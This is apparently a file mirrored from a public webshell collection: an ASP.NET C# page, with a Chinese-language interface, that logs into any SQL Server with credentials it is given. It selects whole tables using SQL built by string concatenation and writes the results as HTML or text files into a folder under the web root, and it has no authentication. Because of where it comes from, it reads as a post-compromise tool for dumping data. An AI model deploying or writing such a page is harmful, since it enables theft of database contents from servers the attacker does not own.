mirror of
https://github.com/tennc/webshell
synced 2024-11-10 05:44:11 +00:00
307 lines
10 KiB
Text
307 lines
10 KiB
Text
<%@ Page Language="C#" %>
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<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
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<script runat="server">
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protected void Button1_Click(object sender, EventArgs e)
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{
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string serverIP=txtServerIP.Text;
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string database=txtDatabase.Text;
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string user=txtUser.Text;
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string pass=txtPass.Text;
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string tableName=txtTableName.Text;
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string colName=txtColName.Text;
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string fileName=txtFileName.Text;
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if (serverIP != null & database != null & user != null & pass != null & tableName != null & fileName != null)
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{
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string connectionString = "server="+serverIP+";database="+database+";uid="+user+";pwd="+pass;
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System.Data.SqlClient.SqlConnection connection = new System.Data.SqlClient.SqlConnection(connectionString);
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try
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{
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connection.Open();
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string sqlStr = "select * from "+tableName;
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if (colName!="")
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{
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sqlStr = "select " + colName + " from " + tableName;
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}
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System.Data.DataSet ds = new System.Data.DataSet();
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System.Data.SqlClient.SqlCommand cmd = new System.Data.SqlClient.SqlCommand(sqlStr, connection);
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System.Data.SqlClient.SqlDataAdapter da = new System.Data.SqlClient.SqlDataAdapter(cmd);
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da.Fill(ds);
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System.Data.DataTable dataTable = ds.Tables[0];
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if (dataTable.Rows.Count==0)
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{
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lblInfo.Text = "没有需要导出的数据！";
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lblInfo.ForeColor = System.Drawing.Color.Blue;
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return;
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}
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string filePath = System.IO.Path.GetDirectoryName(Server.MapPath("DataOutExl.aspx"))+"\\DataOut";
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if (!System.IO.Directory.Exists(filePath))
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{
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System.IO.Directory.CreateDirectory(filePath);
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}
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bool outType = RadioButton1.Checked;
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int sum = dataTable.Rows.Count;
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int count = 1;
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int size = 0;
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int tmpNum = 1;
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if (txtNum.Text!="")
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{
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size = int.Parse(txtNum.Text);
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count = sum / size+1;
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}
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for (int z = 0; z < count; z++)
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{
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Button1.Text = "正在导出..";
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Button1.Enabled = false;
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lblInfo.Text = "正在导出第"+(z+1)+"组数据，共"+count+"组数据";
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lblInfo.ForeColor = System.Drawing.Color.Blue;
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System.IO.StreamWriter file = new System.IO.StreamWriter(filePath+"\\" + (z+1) +"_"+fileName, false, Encoding.UTF8);
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bool isFirst = true;
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if (outType)
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{
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file.Write(@"<html><head><meta http-equiv=content-type content='text/html; charset=UNICODE'>
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<style>*{font-size:12px;}table{background:#DDD;border:solid 2px #CCC;}td{background:#FFF;}
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.th td{background:#EEE;font-weight:bold;height:28px;color:#008;}
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div{border:solid 1px #DDD;background:#FFF;padding:3px;color:#00B;}</style>
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<title>Export Table</title></head><body>");
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file.Write("<table border='0' cellspacing='1' cellpadding='3'>");
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}
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for (int i = size*z; i < dataTable.Rows.Count; i++)
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{
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System.Data.DataRow dataRow = dataTable.Rows[i];
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if (isFirst)
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{
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if ( outType)
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{
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file.Write("<tr class='th'>");
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}
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for (int j = 0; j < dataTable.Columns.Count; j++)
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{
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if (outType)
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{
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file.Write("<td>");
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}
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file.Write(dataTable.Columns[j].ColumnName + " ");
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if (outType)
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{
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file.Write("</td>");
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}
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}
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if (outType)
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{
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file.Write("</tr>");
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}
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isFirst = false;
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}
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if (outType)
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{
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file.Write("<tr>");
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}
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else
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{
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file.WriteLine(" ");
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}
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for (int k = 0; k < dataTable.Columns.Count; k++)
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{
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if (outType)
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{
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file.Write("<td>");
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}
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file.Write(dataTable.Rows[i][k] + " ");
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if (outType)
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{
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file.Write("</td>");
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}
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}
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if (outType)
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{
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file.Write("<tr>");
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}
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else
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{
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file.WriteLine(" ");
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}
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if (tmpNum==size)
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break;
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tmpNum += 1;
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}
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if (outType)
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{
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file.Write("</table>");
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file.Write("<br /><div>执行成功!返回" + tmpNum + "行</div>");
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file.Write("</body></html>");
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}
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else
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{
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file.WriteLine("执行成功!返回" + tmpNum + "行!");
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}
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file.Dispose();
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file.Close();
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tmpNum = 1;
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}
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lblInfo.Text = "导出成功！";
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lblInfo.ForeColor = System.Drawing.Color.Blue;
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Button1.Enabled = true;
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Button1.Text = "开始导出";
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}
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catch (Exception ex)
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{
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lblInfo.Text = "导出失败！" + ex.Message;
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lblInfo.ForeColor = System.Drawing.Color.Red;
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}finally
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{
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connection.Close();
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}
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}
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else
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{
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lblInfo.Text = "请先填写相关的连接信息！";
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lblInfo.ForeColor = System.Drawing.Color.Red;
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}
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}
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</script>
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<html xmlns="http://www.w3.org/1999/xhtml">
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<head runat="server">
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<title>无标题页</title>
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<style type="text/css">
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.style1
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{
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width: 61%;
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}
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.style2
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{
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height: 23px;
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}
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</style>
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</head>
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<body>
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<form id="form1" runat="server">
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<div>
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<table class="style1">
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<tr>
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<td class="style2" colspan="2" align=center>
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SQL Server 数据导出
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By:<a href="http://hi.baidu.com/闪电小子_tysan">闪电小子</a></td>
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</tr>
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<tr>
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<td>
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服务器IP:</td>
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<td>
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<asp:TextBox ID="txtServerIP" runat="server" Width="172px"></asp:TextBox>
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*</td>
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</tr>
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<tr>
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<td>
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数据库：</td>
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<td>
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<asp:TextBox ID="txtDatabase" runat="server" Width="172px"></asp:TextBox>
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*</td>
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</tr>
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<tr>
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<td>
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用户名：</td>
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<td>
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<asp:TextBox ID="txtUser" runat="server" Width="172px"></asp:TextBox>
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*</td>
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</tr>
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<tr>
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<td>
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密码：</td>
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<td>
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<asp:TextBox ID="txtPass" runat="server" Width="172px"></asp:TextBox>
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*</td>
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</tr>
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<tr>
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<td>
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表名：</td>
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<td>
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<asp:TextBox ID="txtTableName" runat="server" Width="172px"></asp:TextBox>
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*</td>
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</tr>
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<tr>
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<td>
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列名：</td>
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<td>
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<asp:TextBox ID="txtColName" runat="server" Width="172px"></asp:TextBox>
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列名之间请用‘,’分开，不写代表全部</td>
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</tr>
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<tr>
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<td>
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分组行数：</td>
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<td>
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<asp:TextBox ID="txtNum" runat="server" Width="172px"></asp:TextBox>
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对于数据多的时候可以使用</td>
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</tr>
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<tr>
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<td>
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保存文件名：</td>
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<td>
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<asp:TextBox ID="txtFileName" runat="server" Width="172px"></asp:TextBox>
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*</td>
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</tr>
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<tr>
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<td>
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文件格式：</td>
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<td>
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<asp:RadioButton ID="RadioButton1" runat="server" GroupName="type" Checked="true" Text="html" />
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<asp:RadioButton ID="RadioButton2" runat="server" GroupName="type" Text="txt" />
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</td>
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</tr>
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<tr>
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<td class="style2" colspan="2" align="center">
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<asp:Button ID="Button1" runat="server" Text="开始导出" onclick="Button1_Click" />
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</td>
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</tr>
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<tr>
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<td colspan="2">
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<asp:Label ID="lblInfo" runat="server" Text=""></asp:Label>
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</td>
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</tr>
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</table>
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</div>
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</form>
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</body>
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</html>
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